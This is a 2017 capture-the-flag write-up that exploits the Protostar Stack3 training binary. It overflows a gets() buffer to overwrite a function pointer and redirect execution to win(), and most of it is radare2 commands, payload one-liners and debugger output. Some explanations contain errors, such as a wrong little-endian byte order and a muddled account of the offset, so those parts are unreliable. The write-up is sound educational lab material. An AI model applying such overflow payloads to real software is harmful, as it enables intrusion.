Exploiting Protostar Stack3 using radare2

2017, Dec 18    

Exploiting Protostar Stack3

Problem link

You can check previous problems here :

Problem source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

We will work in this problem as we do not have the C source code

First we want to know more info about the binary

$ rabin2 -I stack3
arch     x86
binsz    23130
bintype  elf
bits     32
canary   false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       false
os       linux
pcalign  0
pic      false
relocs   true
relro    no
rpath    NONE
static   false
stripped false
subsys   linux
va       true

As you can clearly see, our binary is a 32bit ELF file, not stripped, the file isn’t protected with canaries , pic, nx or relro.

Let’s run the app and see it working

$ ./stack3
AAAAAAAAAAAAAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
calling function pointer, jumping to 0x41414141
[1]    4676 segmentation fault (core dumped)  ./stack3

Let’s have a look on what’s happening inside the app

We will start the app inside Radare2 and have a look in Visual Mode to try understanding how it’s working

$ python -c 'print "A" * 100' > payload.txt
$ cat payload.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ vim r2profile.rr2
$ cat r2profile.rr2
#!/usr/bin/rarun2
stdin=./payload.txt
$ r2 -d stack3 -e dbg.profile=r2profile.rr2
Process with PID 5065 started...
= attach 5065 5065
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
[0xb7fdba30]> aas
[0xb7fdba30]> dcu main
Continue until 0x08048438 using 1 bpsize
hit breakpoint at: 8048438
[0x08048438]> VV
  .----------------------------------------------.
  | [0x8048438] ;[gc]                            |
  |   ;-- main:                                  |
  |   ;-- eip:                                   |
  | (fcn) sym.main 65                            |
  |   sym.main ();                               |
  | ; var int local_4h @ esp+0x4                 |
  | ; var int local_1ch @ esp+0x1c               |
  | ; var int local_5ch @ esp+0x5c               |
  |    ; DATA XREF from 0x08048387 (sym._start)  |
  | push ebp                                     |
  | mov ebp, esp                                 |
  | and esp, 0xfffffff0                          |
  |    ; '`'                                     |
  | sub esp, 0x60                                |
  | mov dword [local_5ch], 0                     |
  |    ; 0x1c                                    |
  |    ; 28                                      |
  | lea eax, dword [local_1ch]                   |
  | mov dword [esp], eax                         |
  | call sym.imp.gets;[ga]                       |
  | cmp dword [local_5ch], 0                     |
  | je 0x8048477;[gb]                            |
  `----------------------------------------------'

So this is the key line ` je 0x8048477;, so our main **Goal** is to override local_5ch || esp+0x5c with 0x8048477`

Now we’ll use a tool in radare’s framework called ragg2, which allows us to generate a cyclic pattern called De Bruijn Sequence and check the exact offset where our payload overrides the buffer.

$ ragg2 -P 100 -r > payload.txt
$ cat payload.txt
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
$ r2 -d stack3 -e dbg.profile=r2profile.rr2
Process with PID 7997 started...
= attach 7997 7997
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
[0xb7fdba30]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
TODO: esil-vm not initialized
[Cannot determine xref search boundariesr references (aar)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
= attach 7997 7997
7997
[0xb7fdba30]> dcu main
Continue until 0x08048438 using 1 bpsize
hit breakpoint at: 8048438
[0x08048438]> V

In visual mode you can move step by step using S until you reach the line before cmp dword [local_5ch], 0

[0x08048438]> pf ?S @ esp+0x5c
0xbffff62c = 0xbffff62c -> 0x41574141
[0x08048438]> wopO 0x41574141
64

Now let’s create a new payload with the right value of local_5ch

$ragg2 -P 64 -r > payload.txt
$python -c 'print "\x5c\x84\x04\x08" + 20 * "B"' >> payload.txt
  .----------------------------------------------------------------.
  | [0x804845c] ;[ge]                                              |
  |      ; 0x8048560                                               |
  |      ; "calling function pointer, jumping to 0x%08x\n"         |

  |    ; [0x5c:4]=-1                                               |
  |    ; '\'                                                       |
  |    ; 92                                                        |
  | mov edx, dword [local_5ch]                                     |
  | mov dword [local_4h], edx                                      |
  | mov dword [esp], eax                                           |
  | call sym.imp.printf;[gd]                                       |
  |    ; [0x5c:4]=-1                                               |
  |    ; '\'                                                       |
  |    ; 92                                                        |
  | mov eax, dword [local_5ch]                                     |
  | call eax                                                       |
  `----------------------------------------------------------------'

Look at the line call eax, we want to get the offset of eax to success the second jump, go step by step unill you reach this line, then

[0x56414155]> wopO eax
60

Also we want to know the address of ‘win’ function

[0xb7fdba30]> iE
[Exports]
vaddr=0x08048424 paddr=0x00000424 ord=056 fwd=NONE sz=20 bind=GLOBAL type=FUNC name=win
vaddr=0x08048438 paddr=0x00000438 ord=068 fwd=NONE sz=65 bind=GLOBAL type=FUNC name=main

16 exports

Now we know that we want to put 0x08048424 in eax

Let’s rewrite our payload and exploit the binary ** Notice that we are working with a little indean so 0x8048477 will be \x77\x84\x04\x80 (Reversed) and 0x08048424 will be \x24\x84\x04\x08

$ python -c 'print "A" * 60 + "\x24\x84\x04\x08" + "\x5c\x84\x04\x08" + 20 * "B"' > payload.txt
$ r2 -d stack3 -e dbg.profile=r2profile.rr2
Process with PID 11917 started...
= attach 11917 11917
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
[0xb7fdba30]> dc
calling function pointer, jumping to 0x0804845c
calling function pointer, jumping to 0x08048424
code flow successfully changed
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x42424242 code=1 ret=0
[0x42424242]>

And we did it ;)